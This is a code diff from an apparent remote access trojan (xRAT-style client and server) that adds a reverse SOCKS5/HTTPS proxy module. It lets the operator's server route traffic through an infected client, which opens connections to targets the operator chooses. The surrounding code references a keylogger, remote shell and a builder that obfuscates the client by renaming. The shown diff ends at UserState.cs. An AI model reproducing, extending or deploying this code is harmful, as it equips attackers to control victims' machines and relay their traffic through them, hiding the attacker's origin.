diff --git a/Client/Client.csproj b/Client/Client.csproj index 4389f566..5d7d6ca8 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -105,6 +105,12 @@ + + + + + + @@ -221,6 +227,7 @@ True + copy "$(TargetPath)" "$(TargetDir)client.bin" /Y diff --git a/Client/Core/Client.cs b/Client/Core/Client.cs index aa71a346..cb36b8fa 100644 --- a/Client/Core/Client.cs +++ b/Client/Core/Client.cs @@ -9,6 +9,9 @@ using xClient.Core.Compression; using xClient.Core.Encryption; using xClient.Core.Extensions; using xClient.Core.Packets; +using xClient.Core.ReverseProxy.Packets; +using System.Collections.Generic; +using xClient.Core.ReverseProxy; namespace xClient.Core { @@ -71,6 +74,13 @@ namespace xClient.Core Payload } + private List _proxyClients; + + public ReverseProxyClient[] ProxyClients + { + get { return _proxyClients.ToArray(); } + } + public const uint KEEP_ALIVE_TIME = 25000; public const uint KEEP_ALIVE_INTERVAL = 25000; @@ -128,6 +138,7 @@ namespace xClient.Core private void Initialize() { AddTypeToSerializer(typeof (IPacket), typeof (UnknownPacket)); + _proxyClients = new List(); } private void AsyncReceive(IAsyncResult result) @@ -297,6 +308,14 @@ namespace xClient.Core _readableDataLen = 0; _payloadLen = 0; + if(_proxyClients != null) + { + lock(_proxyClients) + { + foreach (ReverseProxyClient proxy in _proxyClients) + proxy.Disconnect(); + } + } Commands.CommandHandler.StreamCodec = null; } } @@ -325,5 +344,45 @@ namespace xClient.Core foreach (Type type in types) AddTypeToSerializer(parent, type); } + + public void ConnectReverseProxy(ReverseProxyConnect Command) + { + lock (_proxyClients) + { + _proxyClients.Add(new ReverseProxyClient(Command, this)); + } + } + + public ReverseProxyClient GetReverseProxyByConnectionId(int ConnectionId) + { + lock (_proxyClients) + { + for (int i = 0; i < _proxyClients.Count; i++) + { + if (_proxyClients[i].ConnectionId == ConnectionId) + return _proxyClients[i]; + } + return null; + } + } + + public void RemoveProxyClient(int ConnectionId) + { + try + { + lock (_proxyClients) + { + for (int i = 0; i < _proxyClients.Count; i++) + { + if (_proxyClients[i].ConnectionId == ConnectionId) + { + _proxyClients.RemoveAt(i); + break; + } + } + } + } + catch { } + } } } \ No newline at end of file diff --git a/Client/Core/ReverseProxy/Packets/ReverseProxyConnect.cs b/Client/Core/ReverseProxy/Packets/ReverseProxyConnect.cs new file mode 100644 index 00000000..7f145f65 --- /dev/null +++ b/Client/Core/ReverseProxy/Packets/ReverseProxyConnect.cs @@ -0,0 +1,34 @@ +using ProtoBuf; +using xClient.Core.Packets; + +namespace xClient.Core.ReverseProxy.Packets +{ + [ProtoContract] + public class ReverseProxyConnect : IPacket + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + + [ProtoMember(2)] + public string Target { get; set; } + + [ProtoMember(3)] + public int Port { get; set; } + + public ReverseProxyConnect() + { + } + + public ReverseProxyConnect(int connectionId, string target, int port) + { + this.ConnectionId = connectionId; + this.Target = target; + this.Port = port; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs b/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs new file mode 100644 index 00000000..786bbfda --- /dev/null +++ b/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs @@ -0,0 +1,38 @@ +using ProtoBuf; +using xClient.Core.Packets; + +namespace xClient.Core.ReverseProxy.Packets +{ + [ProtoContract] + public class ReverseProxyConnectResponse : IPacket + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + + [ProtoMember(2)] + public bool IsConnected { get; set; } + + [ProtoMember(3)] + public long LocalEndPoint { get; set; } + + [ProtoMember(4)] + public int LocalPort { get; set; } + + public ReverseProxyConnectResponse() + { + } + + public ReverseProxyConnectResponse(int connectionId, bool isConnected, long localEndPoint, int localPort) + { + this.ConnectionId = connectionId; + this.IsConnected = isConnected; + this.LocalEndPoint = localEndPoint; + this.LocalPort = localPort; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Client/Core/ReverseProxy/Packets/ReverseProxyData.cs b/Client/Core/ReverseProxy/Packets/ReverseProxyData.cs new file mode 100644 index 00000000..ba7d7c6c --- /dev/null +++ b/Client/Core/ReverseProxy/Packets/ReverseProxyData.cs @@ -0,0 +1,30 @@ +using ProtoBuf; +using xClient.Core.Packets; + +namespace xClient.Core.ReverseProxy.Packets +{ + [ProtoContract] + public class ReverseProxyData : IPacket + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + + [ProtoMember(2)] + public byte[] Data { get; set; } + + public ReverseProxyData() + { + } + + public ReverseProxyData(int connectionId, byte[] data) + { + this.ConnectionId = connectionId; + this.Data = data; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Client/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs b/Client/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs new file mode 100644 index 00000000..41b355da --- /dev/null +++ b/Client/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs @@ -0,0 +1,26 @@ +using ProtoBuf; +using xClient.Core.Packets; + +namespace xClient.Core.ReverseProxy.Packets +{ + [ProtoContract] + public class ReverseProxyDisconnect : IPacket + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + + public ReverseProxyDisconnect(int connectionId) + { + this.ConnectionId = connectionId; + } + + public ReverseProxyDisconnect() + { + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Client/Core/ReverseProxy/ReverseProxyClient.cs b/Client/Core/ReverseProxy/ReverseProxyClient.cs new file mode 100644 index 00000000..d7cea7da --- /dev/null +++ b/Client/Core/ReverseProxy/ReverseProxyClient.cs @@ -0,0 +1,124 @@ +using System; +using System.Net; +using System.Net.Sockets; +using xClient.Core.ReverseProxy.Packets; + +namespace xClient.Core.ReverseProxy +{ + public class ReverseProxyClient + { + public const int BUFFER_SIZE = 8192; + + public int ConnectionId { get; private set; } + public Socket Handle { get; private set; } + public string Target { get; private set; } + public int Port { get; private set; } + public Client Client { get; private set; } + private byte[] _buffer; + private bool _disconnectIsSend; + + public ReverseProxyClient(ReverseProxyConnect command, Client client) + { + this.ConnectionId = command.ConnectionId; + this.Target = command.Target; + this.Port = command.Port; + this.Client = client; + this.Handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + + //Non-Blocking connect, so there is no need for a extra thread to create + this.Handle.BeginConnect(command.Target, command.Port, Handle_Connect, null); + } + + private void Handle_Connect(IAsyncResult ar) + { + try + { + this.Handle.EndConnect(ar); + } + catch { } + + if (this.Handle.Connected) + { + try + { + this._buffer = new byte[BUFFER_SIZE]; + this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, Handle_BeginReceive, null); + } + catch + { + new ReverseProxyConnectResponse(ConnectionId, false, 0, 0).Execute(Client); + Disconnect(); + } + + IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint; + new ReverseProxyConnectResponse(ConnectionId, true, localEndPoint.Address.Address, localEndPoint.Port).Execute(Client); + } + else + { + new ReverseProxyConnectResponse(ConnectionId, false, 0, 0).Execute(Client); + } + } + + private void Handle_BeginReceive(IAsyncResult ar) + { + //Receive here data from e.g. a WebServer + + try + { + int received = Handle.EndReceive(ar); + + if (received <= 0) + { + Disconnect(); + return; + } + + byte[] payload = new byte[received]; + Array.Copy(_buffer, payload, received); + new ReverseProxyData(this.ConnectionId, payload).Execute(Client); + } + catch + { + Disconnect(); + return; + } + + try + { + this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, Handle_BeginReceive, null); + } + catch + { + Disconnect(); + return; + } + } + + public void Disconnect() + { + if (!_disconnectIsSend) + { + _disconnectIsSend = true; + //send to the Server we've been disconnected + new ReverseProxyDisconnect(this.ConnectionId).Execute(Client); + } + + try + { + Handle.Close(); + } + catch { } + + Client.RemoveProxyClient(this.ConnectionId); + } + + public void SendToTargetServer(byte[] data) + { + try + { + Handle.Send(data); + } + catch { Disconnect(); } + } + } +} diff --git a/Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs b/Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs new file mode 100644 index 00000000..0c5a9488 --- /dev/null +++ b/Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs @@ -0,0 +1,38 @@ +using xClient.Core.Packets; +using xClient.Core.ReverseProxy.Packets; + +namespace xClient.Core.ReverseProxy +{ + public class ReverseProxyCommandHandler + { + public static void HandleCommand(Client client, IPacket packet) + { + var type = packet.GetType(); + + if (type == typeof (ReverseProxyConnect)) + { + client.ConnectReverseProxy((ReverseProxyConnect) packet); + } + else if (type == typeof (ReverseProxyData)) + { + ReverseProxyData dataCommand = (ReverseProxyData)packet; + ReverseProxyClient proxyClient = client.GetReverseProxyByConnectionId(dataCommand.ConnectionId); + + if (proxyClient != null) + { + proxyClient.SendToTargetServer(dataCommand.Data); + } + } + else if (type == typeof (ReverseProxyDisconnect)) + { + ReverseProxyDisconnect disconnectCommand = (ReverseProxyDisconnect)packet; + ReverseProxyClient socksClient = client.GetReverseProxyByConnectionId(disconnectCommand.ConnectionId); + + if (socksClient != null) + { + socksClient.Disconnect(); + } + } + } + } +} \ No newline at end of file diff --git a/Client/Program.cs b/Client/Program.cs index a82777ea..7f4089f0 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -7,6 +7,7 @@ using xClient.Core; using xClient.Core.Commands; using xClient.Core.Keylogger; using xClient.Core.Packets; +using xClient.Core.ReverseProxy; namespace xClient { @@ -89,7 +90,11 @@ namespace xClient typeof (Core.Packets.ClientPackets.MonitorsResponse), typeof (Core.Packets.ClientPackets.ShellCommandResponse), typeof (Core.Packets.ClientPackets.GetStartupItemsResponse), - typeof (Core.Packets.ClientPackets.GetLogsResponse) + typeof (Core.Packets.ClientPackets.GetLogsResponse), + typeof (Core.ReverseProxy.Packets.ReverseProxyConnect), + typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse), + typeof (Core.ReverseProxy.Packets.ReverseProxyData), + typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect) }); ConnectClient.ClientState += ClientState; @@ -321,7 +326,14 @@ namespace xClient } else if (type == typeof(Core.Packets.ServerPackets.GetLogs)) { - CommandHandler.HandleGetLogs((Core.Packets.ServerPackets.GetLogs) packet, client); + CommandHandler.HandleGetLogs((Core.Packets.ServerPackets.GetLogs)packet, client); + } + else if (type == typeof(Core.ReverseProxy.Packets.ReverseProxyConnect) || + type == typeof(Core.ReverseProxy.Packets.ReverseProxyConnectResponse) || + type == typeof(Core.ReverseProxy.Packets.ReverseProxyData) || + type == typeof(Core.ReverseProxy.Packets.ReverseProxyDisconnect)) + { + ReverseProxyCommandHandler.HandleCommand(client, packet); } } } diff --git a/Server/Core/Build/ClientBuilder.cs b/Server/Core/Build/ClientBuilder.cs index 13106290..69fd72af 100644 --- a/Server/Core/Build/ClientBuilder.cs +++ b/Server/Core/Build/ClientBuilder.cs @@ -145,6 +145,7 @@ namespace xServer.Core.Build // PHASE 2 - Renaming Renamer r = new Renamer(asmDef); + if (!r.Perform()) throw new Exception("renaming failed"); diff --git a/Server/Core/Build/Renamer.cs b/Server/Core/Build/Renamer.cs index 5ee961f7..51f30cbb 100644 --- a/Server/Core/Build/Renamer.cs +++ b/Server/Core/Build/Renamer.cs @@ -60,7 +60,8 @@ namespace xServer.Core.Build { if (typeDef.Namespace.StartsWith("My") || typeDef.Namespace.StartsWith("xClient.Core.Packets") || typeDef.Namespace == "xClient.Core" || typeDef.Namespace == "xClient.Core.Elevation" || - typeDef.Namespace == "xClient.Core.Compression" || typeDef.Namespace.StartsWith("ProtoBuf")) + typeDef.Namespace == "xClient.Core.Compression" || typeDef.Namespace.StartsWith("ProtoBuf") || + typeDef.Namespace.Contains("xClient.Core.ReverseProxy")) return; TypeOverloader.GiveName(typeDef); diff --git a/Server/Core/ReverseProxy/Packets/ReverseProxyConnect.cs b/Server/Core/ReverseProxy/Packets/ReverseProxyConnect.cs new file mode 100644 index 00000000..e528bc37 --- /dev/null +++ b/Server/Core/ReverseProxy/Packets/ReverseProxyConnect.cs @@ -0,0 +1,34 @@ +using ProtoBuf; +using xServer.Core.Packets; + +namespace xServer.Core.ReverseProxy.Packets +{ + [ProtoContract] + public class ReverseProxyConnect : IPacket + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + + [ProtoMember(2)] + public string Target { get; set; } + + [ProtoMember(3)] + public int Port { get; set; } + + public ReverseProxyConnect() + { + } + + public ReverseProxyConnect(int connectionId, string target, int port) + { + this.ConnectionId = connectionId; + this.Target = target; + this.Port = port; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs b/Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs new file mode 100644 index 00000000..296d4ded --- /dev/null +++ b/Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs @@ -0,0 +1,38 @@ +using ProtoBuf; +using xServer.Core.Packets; + +namespace xServer.Core.ReverseProxy.Packets +{ + [ProtoContract] + public class ReverseProxyConnectResponse : IPacket + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + + [ProtoMember(2)] + public bool IsConnected { get; set; } + + [ProtoMember(3)] + public long LocalEndPoint { get; set; } + + [ProtoMember(4)] + public int LocalPort { get; set; } + + public ReverseProxyConnectResponse() + { + } + + public ReverseProxyConnectResponse(int connectionId, bool isConnected, long localEndPoint, int localPort) + { + this.ConnectionId = connectionId; + this.IsConnected = isConnected; + this.LocalEndPoint = localEndPoint; + this.LocalPort = localPort; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Core/ReverseProxy/Packets/ReverseProxyData.cs b/Server/Core/ReverseProxy/Packets/ReverseProxyData.cs new file mode 100644 index 00000000..6306dc95 --- /dev/null +++ b/Server/Core/ReverseProxy/Packets/ReverseProxyData.cs @@ -0,0 +1,30 @@ +using ProtoBuf; +using xServer.Core.Packets; + +namespace xServer.Core.ReverseProxy.Packets +{ + [ProtoContract] + public class ReverseProxyData : IPacket + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + + [ProtoMember(2)] + public byte[] Data { get; set; } + + public ReverseProxyData() + { + } + + public ReverseProxyData(int connectionId, byte[] data) + { + this.ConnectionId = connectionId; + this.Data = data; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs b/Server/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs new file mode 100644 index 00000000..5096eec8 --- /dev/null +++ b/Server/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs @@ -0,0 +1,26 @@ +using ProtoBuf; +using xServer.Core.Packets; + +namespace xServer.Core.ReverseProxy.Packets +{ + [ProtoContract] + public class ReverseProxyDisconnect : IPacket + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + + public ReverseProxyDisconnect(int connectionId) + { + this.ConnectionId = connectionId; + } + + public ReverseProxyDisconnect() + { + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Core/ReverseProxy/ReverseProxyClient.cs b/Server/Core/ReverseProxy/ReverseProxyClient.cs new file mode 100644 index 00000000..b00300c0 --- /dev/null +++ b/Server/Core/ReverseProxy/ReverseProxyClient.cs @@ -0,0 +1,469 @@ +using System; +using System.IO; +using System.Net.Sockets; +using System.Text; +using System.Windows.Forms; +using xServer.Core.ReverseProxy.Packets; + +namespace xServer.Core.ReverseProxy +{ + public class ReverseProxyClient + { + public enum ProxyType + { + Unknown, + Socks5, + HTTPS + }; + + public const int SOCKS5_DEFAULT_PORT = 3218; + public const byte SOCKS5_VERSION_NUMBER = 5; + public const byte SOCKS5_RESERVED = 0x00; + public const byte SOCKS5_AUTH_NUMBER_OF_AUTH_METHODS_SUPPORTED = 2; + public const byte SOCKS5_AUTH_METHOD_NO_AUTHENTICATION_REQUIRED = 0x00; + public const byte SOCKS5_AUTH_METHOD_GSSAPI = 0x01; + public const byte SOCKS5_AUTH_METHOD_USERNAME_PASSWORD = 0x02; + public const byte SOCKS5_AUTH_METHOD_IANA_ASSIGNED_RANGE_BEGIN = 0x03; + public const byte SOCKS5_AUTH_METHOD_IANA_ASSIGNED_RANGE_END = 0x7f; + public const byte SOCKS5_AUTH_METHOD_RESERVED_RANGE_BEGIN = 0x80; + public const byte SOCKS5_AUTH_METHOD_RESERVED_RANGE_END = 0xfe; + public const byte SOCKS5_AUTH_METHOD_REPLY_NO_ACCEPTABLE_METHODS = 0xff; + public const byte SOCKS5_CMD_REPLY_SUCCEEDED = 0x00; + public const byte SOCKS5_CMD_REPLY_GENERAL_SOCKS_SERVER_FAILURE = 0x01; + public const byte SOCKS5_CMD_REPLY_CONNECTION_NOT_ALLOWED_BY_RULESET = 0x02; + public const byte SOCKS5_CMD_REPLY_NETWORK_UNREACHABLE = 0x03; + public const byte SOCKS5_CMD_REPLY_HOST_UNREACHABLE = 0x04; + public const byte SOCKS5_CMD_REPLY_CONNECTION_REFUSED = 0x05; + public const byte SOCKS5_CMD_REPLY_TTL_EXPIRED = 0x06; + public const byte SOCKS5_CMD_REPLY_COMMAND_NOT_SUPPORTED = 0x07; + public const byte SOCKS5_CMD_REPLY_ADDRESS_TYPE_NOT_SUPPORTED = 0x08; + public const byte SOCKS5_ADDRTYPE_IPV4 = 0x01; + public const byte SOCKS5_ADDRTYPE_DOMAIN_NAME = 0x03; + public const byte SOCKS5_ADDRTYPE_IPV6 = 0x04; + + //Make it higher for more performance if really required... probably not + //Making this number higher will aswell increase ram usage depending on the amount of connections (BUFFER_SIZE x Connections = ~Ram Usage) + public const int BUFFER_SIZE = 8192; + + public Socket Handle { get; private set; } + public Client Client { get; private set; } + private bool _receivedConnResponse = false; + + //Is used for the handshake, Non-Blocking + private MemoryStream _handshakeStream; + + public long PacketsReceived { get; private set; } + public long PacketsSended { get; private set; } + + public long LengthReceived { get; private set; } + public long LengthSended { get; private set; } + + private byte[] _buffer; + + public int ConnectionId + { + get { return Handle.Handle.ToInt32(); } + } + + public string TargetServer { get; private set; } + public ushort TargetPort { get; private set; } + public bool IsConnected { get; private set; } + + private bool _isBindCommand; + private bool _isUdpCommand; + private bool _isConnectCommand; + private bool _isIpType; + private bool _isIPv6NameType; + private bool _isDomainNameType; + private bool _disconnectIsSend; + + public ProxyType Type { get; private set; } + private ReverseProxyServer Server; + public ListViewItem ListItem { get; set; } + + public ReverseProxyClient(Client client, Socket socket, ReverseProxyServer server) + { + this.Handle = socket; + this.Client = client; + this._handshakeStream = new MemoryStream(); + this._buffer = new byte[BUFFER_SIZE]; + this.IsConnected = true; + this.TargetServer = ""; + this.Type = ProxyType.Unknown; + this.Server = server; + + try + { + socket.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, socket_Receive, null); + } + catch + { + Disconnect(); + } + } + + private void socket_Receive(IAsyncResult ar) + { + try + { + int received = Handle.EndReceive(ar); + + if (received <= 0) + { + Disconnect(); + return; + } + if (received > 5000 || _handshakeStream.Length + received > 5000) + { + //attack prevention of overflowing the HandshakeStream + //It's really impossible for Socks or HTTPS proxies to use even 5000 for Initial Packets + Disconnect(); + return; + } + + LengthReceived += received; + _handshakeStream.Write(_buffer, 0, received); + } + catch + { + Disconnect(); + return; + } + + byte[] payload = _handshakeStream.ToArray(); + + switch (PacketsReceived) + { + case 0: + { + //initial Socks packet + if (payload.Length >= 3) + { + string headerStr = Encoding.ASCII.GetString(payload); + + //check the proxy client + if (payload[0] == SOCKS5_VERSION_NUMBER) + { + Type = ProxyType.Socks5; + } + else if (headerStr.StartsWith("CONNECT") && headerStr.Contains(":")) + { + Type = ProxyType.HTTPS; + + //Grab here the IP / PORT + using (StreamReader sr = new StreamReader(new MemoryStream(payload))) + { + string line = sr.ReadLine(); + if (line == null) + break; + + //could have done it better with RegEx... oh well + string[] split = line.Split(new string[] {" "}, StringSplitOptions.RemoveEmptyEntries); + if (split.Length > 0) + { + try + { + string ipPort = split[1]; + this.TargetServer = ipPort.Split(':')[0]; + this.TargetPort = ushort.Parse(ipPort.Split(':')[1]); + + this._isConnectCommand = true; + this._isDomainNameType = true; + + //Send Command to client and wait for response from CommandHandler + new ReverseProxyConnect(ConnectionId, this.TargetServer, this.TargetPort) + .Execute(Client); + Server.CallonConnectionEstablished(this); + + return; //Quit receiving and wait for client's response + } + catch + { + Disconnect(); + } + } + } + } + else + { + break; + } + + if (CheckProxyVersion(payload)) + { + SendSuccessToClient(); + PacketsReceived++; + _handshakeStream.SetLength(0); + Server.CallonConnectionEstablished(this); + } + } + break; + } + case 1: + { + //Socks command + int MinPacketLen = 6; + if (payload.Length >= MinPacketLen) + { + if (!CheckProxyVersion(payload)) + return; + + this._isConnectCommand = payload[1] == 1; + this._isBindCommand = payload[1] == 2; + this._isUdpCommand = payload[1] == 3; + + this._isIpType = payload[3] == 1; + this._isDomainNameType = payload[3] == 3; + this._isIPv6NameType = payload[3] == 4; + + Array.Reverse(payload, payload.Length - 2, 2); + this.TargetPort = BitConverter.ToUInt16(payload, payload.Length - 2); + + if (_isConnectCommand) + { + if (_isIpType) + { + this.TargetServer = payload[4] + "." + payload[5] + "." + payload[6] + "." + payload[7]; + } + else if (_isDomainNameType) + { + int domainLen = payload[4]; + if (MinPacketLen + domainLen < payload.Length) + { + this.TargetServer = Encoding.ASCII.GetString(payload, 5, domainLen); + } + } + + if (this.TargetServer.Length > 0) + { + //Send Command to client and wait for response from CommandHandler + new ReverseProxyConnect(ConnectionId, this.TargetServer, this.TargetPort).Execute(Client); + } + } + else + { + SendFailToClient(); + return; + } + + Server.CallonUpdateConnection(this); + + //Quit receiving data and wait for Client's response + return; + } + break; + } + } + + try + { + Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, socket_Receive, null); + } + catch + { + Disconnect(); + } + } + + public void Disconnect() + { + if (!_disconnectIsSend) + { + _disconnectIsSend = true; + //send to the Server we've been disconnected + new ReverseProxyDisconnect(this.ConnectionId).Execute(Client); + } + + try + { + Handle.Close(); + } + catch + { + } + + IsConnected = false; + Server.CallonUpdateConnection(this); + } + + /// + /// xRAT -> ProxyClient + /// + /// + public void SendToClient(byte[] payload) + { + lock (Handle) + { + try + { + LengthSended += payload.Length; + Handle.Send(payload); + } + catch + { + Disconnect(); + } + } + Server.CallonUpdateConnection(this); + } + + private void SendFailToClient() + { + if (Type == ProxyType.HTTPS) + Disconnect(); + + if (Type == ProxyType.Socks5) + { + SendToClient(new byte[] {SOCKS5_VERSION_NUMBER, SOCKS5_AUTH_METHOD_REPLY_NO_ACCEPTABLE_METHODS}); + Disconnect(); + } + } + + private void SendSuccessToClient() + { + if (Type == ProxyType.Socks5) + SendToClient(new byte[] {SOCKS5_VERSION_NUMBER, SOCKS5_CMD_REPLY_SUCCEEDED}); + } + + private bool CheckProxyVersion(byte[] payload) + { + if (Type == ProxyType.HTTPS) + return true; //unable to check header... there is no header + + if (payload.Length > 0 && payload[0] != SOCKS5_VERSION_NUMBER) + { + SendFailToClient(); + Disconnect(); + return false; + } + return true; + } + + public void CommandResponse(ReverseProxyConnectResponse response) + { + //a small prevention for calling this method twice, not required... just incase + if (!_receivedConnResponse) + { + _receivedConnResponse = true; + + if (response.IsConnected) + { + //tell the Proxy Client that we've established a connection + + if (Type == ProxyType.HTTPS) + { + SendToClient(Encoding.ASCII.GetBytes("HTTP/1.0 200 Connection established\r\n\r\n")); + } + else if (Type == ProxyType.Socks5) + { + //Thanks to http://www.mentalis.org/soft/projects/proxy/ for the Maths + try + { + SendToClient(new byte[] + { + SOCKS5_VERSION_NUMBER, + SOCKS5_CMD_REPLY_SUCCEEDED, + SOCKS5_RESERVED, + 1, //static: it's always 1 + (byte) (response.LocalEndPoint%256), + (byte) (Math.Floor((decimal) (response.LocalEndPoint%65536)/256)), + (byte) (Math.Floor((decimal) (response.LocalEndPoint%16777216)/65536)), + (byte) (Math.Floor((decimal) response.LocalEndPoint/16777216)), + (byte) (Math.Floor((decimal) response.LocalPort/256)), + (byte) (response.LocalPort%256) + }); + } + catch + { + //just incase the math failed + //it will still show it's succesful + SendToClient(new byte[] + { + SOCKS5_VERSION_NUMBER, + SOCKS5_CMD_REPLY_SUCCEEDED, + SOCKS5_RESERVED, + 1, //static: it's always 1 + 0, 0, 0, 0, //bind ip + 0, 0 //bind port + }); + } + } + + _handshakeStream.Close(); + + try + { + //start receiving data from the proxy + Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, socket_ReceiveProxy, null); + } + catch + { + Disconnect(); + } + } + else + { + if (Type == ProxyType.HTTPS) + { + Disconnect(); + } + else if (Type == ProxyType.Socks5) + { + //send a connection fail packet + SendToClient(new byte[] + { + SOCKS5_VERSION_NUMBER, + SOCKS5_CMD_REPLY_CONNECTION_REFUSED, + SOCKS5_RESERVED, + 1, //static: it's always 1 + 0, 0, 0, 0, //Bind Address + 0, 0 //Bind Port + }); + } + } + + Server.CallonUpdateConnection(this); + } + } + + private void socket_ReceiveProxy(IAsyncResult ar) + { + try + { + int received = Handle.EndReceive(ar); + + if (received <= 0) + { + Disconnect(); + return; + } + + LengthReceived += received; + + byte[] payload = new byte[received]; + Array.Copy(_buffer, payload, received); + new ReverseProxyData(this.ConnectionId, payload).Execute(Client); + + LengthSended += payload.Length; + PacketsSended++; + } + catch + { + Disconnect(); + return; + } + + PacketsReceived++; + + Server.CallonUpdateConnection(this); + + try + { + Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, socket_ReceiveProxy, null); + } + catch + { + } + } + } +} \ No newline at end of file diff --git a/Server/Core/ReverseProxy/ReverseProxyCommandHandler.cs b/Server/Core/ReverseProxy/ReverseProxyCommandHandler.cs new file mode 100644 index 00000000..286eec19 --- /dev/null +++ b/Server/Core/ReverseProxy/ReverseProxyCommandHandler.cs @@ -0,0 +1,52 @@ +using System; +using System.CodeDom; +using System.Collections.Generic; +using System.Text; +using xServer.Core.Packets; +using xServer.Core.ReverseProxy.Packets; + +namespace xServer.Core.ReverseProxy +{ + public class ReverseProxyCommandHandler + { + public static void HandleCommand(Client client, IPacket packet) + { + var type = packet.GetType(); + if (type == typeof (ReverseProxyConnectResponse)) + { + ReverseProxyConnectResponse response = (ReverseProxyConnectResponse) packet; + if (client.Value.ProxyServer != null) + { + ReverseProxyClient socksClient = + client.Value.ProxyServer.GetClientByConnectionId(response.ConnectionId); + if (socksClient != null) + { + socksClient.CommandResponse(response); + } + } + } + else if (type == typeof (ReverseProxyData)) + { + ReverseProxyData dataCommand = (ReverseProxyData) packet; + ReverseProxyClient socksClient = + client.Value.ProxyServer.GetClientByConnectionId(dataCommand.ConnectionId); + + if (socksClient != null) + { + socksClient.SendToClient(dataCommand.Data); + } + } + else if (type == typeof (ReverseProxyDisconnect)) + { + ReverseProxyDisconnect disconnectCommand = (ReverseProxyDisconnect) packet; + ReverseProxyClient socksClient = + client.Value.ProxyServer.GetClientByConnectionId(disconnectCommand.ConnectionId); + + if (socksClient != null) + { + socksClient.Disconnect(); + } + } + } + } +} \ No newline at end of file diff --git a/Server/Core/ReverseProxy/ReverseProxyServer.cs b/Server/Core/ReverseProxy/ReverseProxyServer.cs new file mode 100644 index 00000000..a81e778d --- /dev/null +++ b/Server/Core/ReverseProxy/ReverseProxyServer.cs @@ -0,0 +1,146 @@ +using System; +using System.Collections.Generic; +using System.Net; +using System.Net.Sockets; + +namespace xServer.Core.ReverseProxy +{ + public class ReverseProxyServer + { + public delegate void ConnectionEstablishedCallback(ReverseProxyClient proxyClient); + + public delegate void UpdateConnectionCallback(ReverseProxyClient proxyClient); + + public event ConnectionEstablishedCallback OnConnectionEstablished; + public event UpdateConnectionCallback OnUpdateConnection; + + private Socket _socket; + private List _clients; + + public ReverseProxyClient[] Clients + { + get + { + lock (_clients) + { + return _clients.ToArray(); + } + } + } + + public Client Client { get; private set; } + + public ReverseProxyServer() + { + _clients = new List(); + } + + public void StartServer(Client client, string ipAddress, int port) + { + Stop(); + + this.Client = client; + this.Client.Value.ProxyServer = this; + + this._socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + this._socket.Bind(new IPEndPoint(IPAddress.Parse(ipAddress), port)); + this._socket.Listen(100); + this._socket.BeginAccept(socket_BeginAccept, null); + } + + private void socket_BeginAccept(IAsyncResult ar) + { + try + { + lock (_clients) + { + _clients.Add(new ReverseProxyClient(Client, this._socket.EndAccept(ar), this)); + } + } + catch + { + } + + try + { + this._socket.BeginAccept(socket_BeginAccept, null); + } + catch + { + /* Server stopped listening */ + } + } + + public void Stop() + { + if (_socket != null) + _socket.Close(); + + lock (_clients) + { + foreach (ReverseProxyClient client in new List(_clients)) + client.Disconnect(); + _clients.Clear(); + } + } + + public ReverseProxyClient GetClientByConnectionId(int connectionId) + { + lock (_clients) + { + for (int i = 0; i < _clients.Count; i++) + { + if (_clients[i].ConnectionId == connectionId) + return _clients[i]; + } + return null; + } + } + + internal void CallonConnectionEstablished(ReverseProxyClient proxyClient) + { + try + { + if (OnConnectionEstablished != null) + OnConnectionEstablished(proxyClient); + } + catch + { + } + } + + internal void CallonUpdateConnection(ReverseProxyClient proxyClient) + { + //remove a client that has been disconnected + try + { + if (!proxyClient.IsConnected) + { + lock (_clients) + { + for (int i = 0; i < _clients.Count; i++) + { + if (_clients[i].ConnectionId == proxyClient.ConnectionId) + { + _clients.RemoveAt(i); + break; + } + } + } + } + } + catch + { + } + + try + { + if (OnUpdateConnection != null) + OnUpdateConnection(proxyClient); + } + catch + { + } + } + } +} \ No newline at end of file diff --git a/Server/Core/UserState.cs b/Server/Core/UserState.cs index b8a54dbc..9e4a86c0 100644 --- a/Server/Core/UserState.cs 